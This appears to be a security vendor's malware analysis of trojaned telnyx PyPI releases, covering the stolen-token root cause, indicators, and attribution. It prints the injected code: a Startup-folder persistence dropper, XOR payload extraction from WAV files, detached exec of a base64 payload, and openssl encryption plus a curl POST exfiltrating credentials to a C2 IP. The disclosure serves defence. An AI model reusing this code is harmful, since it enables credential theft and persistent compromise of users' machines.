Compromised telnyx on PyPI: WAV Steganography and Credential Theft

SafeDep Team
13 min read

Table of Contents

TL;DR

Two versions of telnyx (4.87.1 and 4.87.2) published to PyPI on March 27, 2026 contain malicious code injected into telnyx/_client.py. The telnyx package averages over 1 million downloads per month (~30,000/day), making this a high-impact supply chain compromise. The payload downloads a second-stage binary hidden inside WAV audio files from a remote server, then either drops a persistent executable on Windows or harvests credentials on Linux/macOS. Stolen data is encrypted with AES-256-CBC and a hardcoded RSA-4096 public key before exfiltration. The RSA key and operational patterns are identical to the litellm PyPI compromise, attributing this attack to TeamPCP with high confidence.

Impact:

  • Downloads and executes arbitrary binaries disguised inside WAV audio files (steganography)
  • On Windows: drops a persistent executable as msbuild.exe in the Startup folder
  • On Linux/macOS: harvests credentials, encrypts them with AES-256-CBC + RSA-4096, and exfiltrates via HTTP POST
  • Executes automatically on import telnyx with no user interaction required

Indicators of Compromise (IoC):

  • Packages: telnyx==4.87.1 (SHA256: 7321caa303fe96ded0492c747d2f353c4f7d17185656fe292ab0a59e2bd0b8d9), telnyx==4.87.2 (SHA256: cd08115806662469bbedec4b03f8427b97c8a4b3bc1442dc18b72b4e19395fe3)
  • C2 server: 83[.]142[.]209[.]203:8080
  • Payload URLs: hxxp://83[.]142[.]209[.]203:8080/ringtone.wav (Linux/macOS), hxxp://83[.]142[.]209[.]203:8080/hangup.wav (Windows)
  • Windows persistence: %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\msbuild.exe
  • Exfiltration header: X-Filename: tpcp.tar.gz

Analysis

Package Overview

telnyx is an official Python SDK for the Telnyx communications API, used for programmable telephony, messaging, and networking. The package is published to PyPI under the maintainer email Telnyx <[email protected]>.

On March 27, 2026, a security issue was filed reporting that versions 4.87.1 and 4.87.2 contained injected code not present in the GitHub source repository. The last clean version, 4.87.0, has a corresponding GitHub release tag (v4.87.0, published March 26). Neither 4.87.1 nor 4.87.2 has a corresponding release or tag, indicating the PyPI publishing credentials were compromised.

This is the same attack pattern seen in the litellm compromise: the attacker publishes a trojaned version directly to PyPI using stolen credentials while the source repository remains clean. The GitHub source is not a typosquat: package metadata (author, homepage, dependencies) is identical to the legitimate project.

The only modified file across both malicious versions is telnyx/_client.py. Exactly 74 lines of malicious code were injected: imports at the top of the file, a base64-encoded payload variable in the middle, and attack functions appended after the legitimate class definitions.

Root Cause Analysis

The GitHub repository shows no signs of compromise. Querying the repository event timeline shows all recent push events originate from stainless-app[bot], the Stainless SDK code generation platform that manages the entire CI/CD pipeline:

Terminal window
$ gh api "repos/team-telnyx/telnyx-python/events?per_page=100" --paginate \
| jq -r '.[] | select(.type=="PushEvent") |
[.created_at, .actor.login, .payload.ref] | @tsv' | tail -10
2026-03-26T19:24:58Z stainless-app[bot] refs/heads/release-please-...
2026-03-26T19:25:26Z stainless-app[bot] refs/heads/release-please-...
2026-03-26T19:27:31Z stainless-app[bot] refs/heads/master
2026-03-26T19:27:54Z stainless-app[bot] refs/heads/next
2026-03-26T19:28:34Z stainless-app[bot] refs/heads/generated
2026-03-27T00:01:28Z stainless-app[bot] refs/heads/generated
2026-03-27T00:01:30Z stainless-app[bot] refs/heads/next
2026-03-27T00:01:51Z stainless-app[bot] refs/heads/release-please-...
2026-03-27T00:22:36Z stainless-app[bot] refs/heads/generated
2026-03-27T00:22:38Z stainless-app[bot] refs/heads/next

No force pushes, no unknown actors, no suspicious PRs from external contributors. Neither v4.87.1 nor v4.87.2 has a corresponding GitHub release or tag:

Terminal window
$ gh api "repos/team-telnyx/telnyx-python/git/ref/tags/v4.87.1" 2>/dev/null
# 404 Not Found
$ gh api "repos/team-telnyx/telnyx-python/git/ref/tags/v4.87.2" 2>/dev/null
# 404 Not Found

The Publish PyPI workflow ran successfully for v4.87.0 on March 26 and has not run since. The malicious versions were uploaded directly to PyPI, bypassing GitHub Actions entirely:

Terminal window
$ gh api "repos/team-telnyx/telnyx-python/actions/workflows/publish-pypi.yml/runs?per_page=5" \
--jq '.workflow_runs[] | [.created_at, .event, .head_branch, .conclusion] | @tsv'
2026-03-26T19:27:42Z release v4.87.0 success
2026-03-25T17:02:25Z release v4.86.1 success
2026-03-24T21:33:31Z release v4.86.0 success
2026-03-24T20:46:38Z release v4.85.0 success
2026-03-24T17:23:03Z release v4.84.0 success

No publish run for v4.87.1 or v4.87.2. No workflow_dispatch (manual) runs exist either.

The upload tool fingerprint confirms this. The PyPI metadata for v4.87.2 shows twine/6.2.0 CPython/3.14.3 as the upload client. The legitimate CI pipeline uses rye publish (Rye 0.44.0), which produces a different fingerprint:

Terminal window
# bin/publish-pypi (what the CI pipeline runs)
rye publish --yes --token=$PYPI_TOKEN
# PyPI metadata for v4.87.2 (what actually uploaded the malicious version)
Uploaded via: twine/6.2.0 CPython/3.14.3

This tool mismatch is evidence that the attacker uploaded the malicious wheels manually using a stolen API token, not through the repository’s automated release process.

The publishing workflow uses a static PyPI API token stored as a GitHub Actions secret:

.github/workflows/publish-pypi.yml
env:
PYPI_TOKEN: ${{ secrets.TELNYX_PYPI_TOKEN || secrets.PYPI_TOKEN }}

No PyPI trusted publisher (OIDC) is configured. Trusted publishers bind PyPI uploads to a specific GitHub repository and workflow, making stolen tokens useless outside that context. Without this protection, anyone with the API token can upload any version from any machine.

We checked for workflow-level credential exposure. The repository does not use Trivy or any other security scanning tool that was compromised in the earlier TeamPCP campaign:

Terminal window
$ gh search code "trivy" --repo team-telnyx/telnyx-python
# No results

The release-doctor.yml workflow uses pull_request (not pull_request_target), so fork PRs cannot access secrets. No workflow-level credential exposure was identified.

The most likely scenario is that the PYPI_TOKEN was obtained through a prior credential harvesting operation. TeamPCP’s campaign has demonstrated the ability to steal CI/CD secrets from compromised environments: the litellm compromise was traced to a poisoned Trivy binary that exfiltrated PYPI_PUBLISH_PASSWORD from CI runners. A similar credential theft, whether from a compromised CI tool, a developer workstation, or a third-party service with access to the token, is the probable vector here.

Payload Analysis

Warning: All analysis below was conducted inside an isolated container used as a filesystem sandbox. Do not execute any code from the malicious package on a host system. Download and extract only; never pip install the compromised wheel.

We downloaded the malicious wheels and the last known clean version directly from PyPI without installing them. The artifact URLs were obtained from the SafeDep community API:

Terminal window
# Malicious versions
curl -sL -o telnyx-4.87.1.whl \
"https://files.pythonhosted.org/packages/83/b7/5e93f51cd157cc8cf5599f387e587a1926d50fc7e54fb76d04b342341fb0/telnyx-4.87.1-py3-none-any.whl"
curl -sL -o telnyx-4.87.2.whl \
"https://files.pythonhosted.org/packages/5a/73/87cb49434a1f89f253819b81993d3a4e65186ae08b013b9825633ceac359/telnyx-4.87.2-py3-none-any.whl"
# Last known clean version
curl -sL -o telnyx-4.87.0.whl \
"https://files.pythonhosted.org/packages/f2/08/a03c3d158a35dc8553a5dcc3c3405bad3dd6f4ab23cb7823c9152602f7c8/telnyx-4.87.0-py3-none-any.whl"

The SHA256 hashes of the downloaded artifacts match the values reported in the security issue:

7321caa303fe96ded0492c747d2f353c4f7d17185656fe292ab0a59e2bd0b8d9 telnyx-4.87.1.whl
cd08115806662469bbedec4b03f8427b97c8a4b3bc1442dc18b72b4e19395fe3 telnyx-4.87.2.whl

Python wheels are ZIP archives. We extracted them without installing and diffed the clean version against the malicious one. The diffstat output confirms that only a single file was modified:

telnyx/_client.py | 74 +++++++++++++++++++++++++++++++
1 file changed, 74 insertions(+)

The first hunk of the diff shows the malicious imports injected at the top of the file:

--- clean-4.87.0/telnyx/_client.py
+++ mal-4.87.1/telnyx/_client.py
@@ -1,12 +1,19 @@
# File generated from our OpenAPI spec by Stainless.
from __future__ import annotations
-
+import subprocess
+import tempfile
+import time
import os
+import base64
+import sys
+import wave
+import os
from typing import TYPE_CHECKING, Any, Mapping
from typing_extensions import Self, override
import httpx
+import urllib.request
from . import _exceptions

The full diff reveals 74 lines of additions across three injection points: these imports at the top, a base64-encoded payload variable in the middle (line 459), and attack functions appended after the legitimate class definitions (lines 7758 onward).

Decoding the base64-encoded strings statically (using shell tools, never executing the package) reveals the obfuscated values:

8080/hangup.wav
echo "QVBQREFUQQ==" | base64 -d # APPDATA
echo "bXNidWlsZC5leGU=" | base64 -d # msbuild.exe
echo "aHR0cDovLzgzLjE0Mi4yMDkuMjAzOjgwODAvaGFuZ3VwLndhdg==" | base64 -d

The _p payload variable (4,436-character base64 string at line 459) decodes to a readable 83-line credential harvesting script. The RSA public key in this decoded payload matches the key from the litellm compromise byte-for-byte, confirming shared authorship.

Comparing the two malicious versions against each other shows a single change:

--- mal-4.87.1/telnyx/_client.py
+++ mal-4.87.2/telnyx/_client.py
@@ -7820,6 +7820,6 @@
AsyncClient = AsyncTelnyx
-Setup()
+setup()
FetchAudio()

This confirms 4.87.2 is a bugfix release by the attacker, correcting the casing error that prevented the Windows payload from executing.

Execution Trigger

The malicious code executes at module scope when telnyx is imported. Two functions are called unconditionally at the bottom of _client.py:

# telnyx/_client.py (lines 7823-7825, version 4.87.2)
setup()
FetchAudio()

Since _client.py is imported as part of the telnyx package initialization, any code that does import telnyx triggers the payload. No explicit function call is required.

Version 4.87.1 contains a bug: the invocation at line 7823 reads Setup() (capital S) while the function is defined at line 7761 as setup() (lowercase). No other Setup identifier exists in the file. Since both calls are at module scope with no exception handling, the NameError from Setup() aborts module execution before FetchAudio() is reached. Neither attack path executes in 4.87.1. Version 4.87.2 corrects the casing, making both attack paths functional.

VersionWindows (setup())Linux/macOS (FetchAudio())
4.87.1Broken (Setup() NameError aborts module)Not reached
4.87.2Functional (casing fixed)Functional

Malicious Imports

The attacker added seven imports at the top of the file that do not belong in an API client library:

# telnyx/_client.py (lines 4-16, injected)
import subprocess
import tempfile
import time
import os
import base64
import sys
import wave
...
import urllib.request

The wave import is the most distinctive: a WAV audio processing module has no legitimate purpose in an HTTP API client. It signals the steganographic payload delivery mechanism.

Base64 Helper and Payload Variable

A helper function decodes base64-encoded strings used throughout the Windows attack path:

# telnyx/_client.py (lines 41-42)
def _d(s):
return base64.b64decode(s).decode('utf-8')

At line 459, a 4,436-character base64-encoded variable _p stores the complete Linux/macOS second-stage payload:

# telnyx/_client.py (line 459)
_p = "aW1wb3J0IHN1YnByb2Nlc3MKaW1wb3J0IHRlbXBmaWxlCmltcG9ydCBvcwppbXBvcnQgYmFzZTY0..."

This variable is decoded and executed by FetchAudio() in a detached subprocess.

Windows Attack Path: setup()

The setup() function targets Windows machines. It constructs a persistence path using base64-encoded strings:

# telnyx/_client.py (lines 7761-7804)
def setup():
if os.name != 'nt':
return
try:
p = os.path.join(os.getenv(_d('QVBQREFUQQ==')),
_d('TWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVw'),
_d('bXNidWlsZC5leGU='))

The base64 strings decode to:

  • QVBQREFUQQ==APPDATA
  • TWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwMicrosoft\Windows\Start Menu\Programs\Startup
  • bXNidWlsZC5leGU=msbuild.exe

The full persistence path resolves to %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\msbuild.exe. Executables in this directory run automatically on user login. The filename msbuild.exe mimics the legitimate Microsoft Build Engine binary, which normally lives in C:\Windows\Microsoft.NET\.

The function implements a 12-hour lockout mechanism to prevent re-downloading:

# telnyx/_client.py (lines 7773-7784)
if os.path.exists(l):
m_time = os.path.getmtime(l)
if (time.time() - m_time) < 43200:
return
with open(l, 'w') as f:
f.write(str(time.time()))
try:
subprocess.run(['attrib', '+h', l], capture_output=True)
except:
pass

The lock file is hidden using the Windows attrib +h command.

It then downloads a WAV file from the C2 server, extracts a binary hidden inside the audio data using steganography, writes it to the Startup folder, and launches it:

# telnyx/_client.py (lines 7786-7801)
r = urllib.request.Request(
_d('aHR0cDovLzgzLjE0Mi4yMDkuMjAzOjgwODAvaGFuZ3VwLndhdg=='),
headers={_d('VXNlci1BZ2VudA=='): _d('TW96aWxsYS81LjA=')})
with urllib.request.urlopen(r, timeout=15) as d:
with open(t, "wb") as f:
f.write(d.read())
with wave.open(t, 'rb') as w:
b = base64.b64decode(w.readframes(w.getnframes()))
s, m = b[:8], b[8:]
payload = bytes([m[i] ^ s[i % len(s)] for i in range(len(m))])
with open(p, "wb") as f:
f.write(payload)
...
subprocess.Popen([p], creationflags=0x08000000)

The URL aHR0cDovLzgzLjE0Mi4yMDkuMjAzOjgwODAvaGFuZ3VwLndhdg== decodes to http://83.142.209.203:8080/hangup.wav. The creationflags=0x08000000 (CREATE_NO_WINDOW) ensures the process runs without a visible console window.

WAV Steganography Mechanism

Both attack paths use the same technique to hide payloads inside WAV audio files. The extraction process:

  1. Download a .wav file from the C2 server
  2. Read the audio frames using Python’s wave module
  3. Base64-decode the frame data (the audio samples themselves are base64-encoded data, not actual audio)
  4. Extract an 8-byte XOR key from the first 8 bytes of the decoded data
  5. XOR-decrypt the remaining bytes using the key
# Steganography extraction (both attack paths)
with wave.open(wf, 'rb') as w:
raw = base64.b64decode(w.readframes(w.getnframes()))
s, data = raw[:8], raw[8:]
payload = bytes([data[i] ^ s[i % len(s)] for i in range(len(data))])

This is not true steganography in the traditional sense (hiding data in the least significant bits of audio). Instead, the attacker packs base64-encoded, XOR-encrypted payloads into a valid WAV container. The file has a legitimate WAV header and will pass basic file-type checks, but the audio frame data is entirely payload. This approach evades network security tools that inspect HTTP traffic for known malicious patterns: the downloaded file appears to be a harmless audio file.

Linux/macOS Attack Path: FetchAudio()

The FetchAudio() function targets non-Windows systems by spawning a detached subprocess that decodes and executes the _p payload:

# telnyx/_client.py (lines 7806-7817)
def FetchAudio():
if os.name == 'nt':
return
try:
subprocess.Popen(
[sys.executable, "-c",
f"import base64; exec(base64.b64decode('{_p}').decode())"],
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
start_new_session=True
)
except:
pass

The start_new_session=True parameter detaches the child process from the parent, so the credential theft continues even if the importing Python process exits.

Decoded Linux/macOS Payload

The _p variable decodes to an 83-line credential harvesting script. It contains the same RSA-4096 public key found in the litellm compromise:

# Decoded _p payload
PUB_KEY_CONTENT = """-----BEGIN PUBLIC KEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvahaZDo8mucujrT15ry+
08qNLwm3kxzFSMj84M16lmIEeQA8u1X8DGK0EmNg7m3J6C3KzFeIzvz0UTgSq6cV
...
rn3JMF0xZyXNRpQ/fZZxl40CAwEAAQ==
-----END PUBLIC KEY-----"""
WAV_URL = "http://83.142.209.203:8080/ringtone.wav"

The audioimport() function follows a three-stage attack:

Stage 1: Download and decode a second-stage harvester from a WAV file.

# Decoded _p payload
req = urllib.request.Request(WAV_URL, headers={'User-Agent': 'Mozilla/5.0'})
with urllib.request.urlopen(req, timeout=15) as r:
with open(wf, "wb") as f:
f.write(r.read())
with wave.open(wf, 'rb') as w:
raw = base64.b64decode(w.readframes(w.getnframes()))
s, data = raw[:8], raw[8:]
payload = bytes([data[i] ^ s[i % len(s)] for i in range(len(data))])

The WAV from ringtone.wav is decoded and XOR-decrypted, then piped into a new Python interpreter:

# Decoded _p payload
with open(collected, "wb") as f:
subprocess.run(
[sys.executable, "-"],
input=payload,
stdout=f,
stderr=subprocess.DEVNULL,
check=True
)

The harvester’s stdout (collected credentials) is captured to a temporary file.

Stage 2: Encrypt the collected data.

# Decoded _p payload
subprocess.run(["openssl", "rand", "-out", sk, "32"], check=True)
subprocess.run(["openssl", "enc", "-aes-256-cbc", "-in", collected, "-out", ef,
"-pass", f"file:{sk}", "-pbkdf2"], check=True,
stderr=subprocess.DEVNULL)
subprocess.run(["openssl", "pkeyutl", "-encrypt", "-pubin", "-inkey", pk,
"-in", sk, "-out", ek,
"-pkeyopt", "rsa_padding_mode:oaep"], check=True,
stderr=subprocess.DEVNULL)
subprocess.run(["tar", "-czf", bn, "-C", d, "payload.enc", "session.key.enc"],
check=True)

The process generates a random 32-byte AES session key, encrypts the collected data with AES-256-CBC, then encrypts the session key with the attacker’s RSA-4096 public key using OAEP padding. Both encrypted files are bundled into a tarball.

Stage 3: Exfiltrate.

# Decoded _p payload
subprocess.run([
"curl", "-s", "-o", "/dev/null", "-w", "%{http_code}", "-X", "POST",
"http://83.142.209.203:8080/",
"-H", "Content-Type: application/octet-stream",
"-H", "X-Filename: tpcp.tar.gz",
"--data-binary", f"@{bn}"
], check=True, stderr=subprocess.DEVNULL)

The tarball is exfiltrated via HTTP POST to 83[.]142[.]209[.]203:8080. The X-Filename: tpcp.tar.gz header is a TeamPCP signature, identical to the header used in the litellm attack.

Attribution to TeamPCP

This attack is attributed to TeamPCP with high confidence based on three shared indicators with the litellm compromise:

  1. Identical RSA-4096 public key. The public key in the decoded payload (MIICIjANBgkqhkiG9w0BAQEFAAOC...) matches byte-for-byte with the key embedded in litellm 1.82.8’s Stage 1 orchestrator. Only the holder of the corresponding private key can decrypt the exfiltrated data.

  2. tpcp.tar.gz archive name and HTTP header. Both attacks bundle exfiltrated data as tpcp.tar.gz and use the X-Filename: tpcp.tar.gz header during exfiltration. “TPCP” stands for TeamPCP.

  3. AES-256-CBC + RSA OAEP encryption scheme via openssl CLI. The exact same sequence of openssl rand, openssl enc -aes-256-cbc, and openssl pkeyutl -encrypt ... -pkeyopt rsa_padding_mode:oaep commands appear in both payloads.

The operational evolution is notable: litellm used a compromised domain (models.litellm.cloud) for C2, while telnyx uses a raw IP address (83.142.209.203). The WAV steganography technique is new to this attack and was not observed in the litellm compromise, suggesting the actor is actively developing their delivery mechanisms.

Version Progression

The two malicious versions reveal the attacker’s iteration cycle:

  • 4.87.1: Initial publish. Contains a casing bug (Setup() at line 7823 vs def setup() at line 7761) that raises a NameError at module scope, preventing either attack path from executing.
  • 4.87.2: Published shortly after. Fixes the casing to setup(), making both attack paths functional. No other changes between the two versions.

This quick bugfix release indicates the attacker was monitoring the payload’s behavior and corrected the error within hours.

Conclusion

The compromised telnyx 4.87.1 and 4.87.2 packages are confirmed malware. They represent a continuation of TeamPCP’s campaign of compromising PyPI publishing credentials to distribute credential-stealing payloads through legitimate packages. The WAV steganography delivery mechanism is a new technique for this actor, designed to bypass network inspection tools by disguising payloads as audio files.

Users who installed either version should rotate all credentials present in their environment variables, check the Windows Startup folder for msbuild.exe, and audit their systems for connections to 83[.]142[.]209[.]203.

Pin to telnyx==4.87.0 (or the latest known-clean version) until the maintainers confirm the compromise is resolved and publish verified clean releases. Use SafeDep vet to check packages for known malware signals before installation.

References

  • pypi
  • oss
  • malware
  • supply-chain
  • telnyx
  • credential-theft
  • steganography

Author

SafeDep Logo

SafeDep Team

safedep.io

Share

The Latest from SafeDep blogs

Follow for the latest updates and insights on open source security & engineering

Background
SafeDep Logo

Ship Code

Not Malware

Install the SafeDep GitHub App to keep malicious packages out of your repos.

GitHub Install GitHub App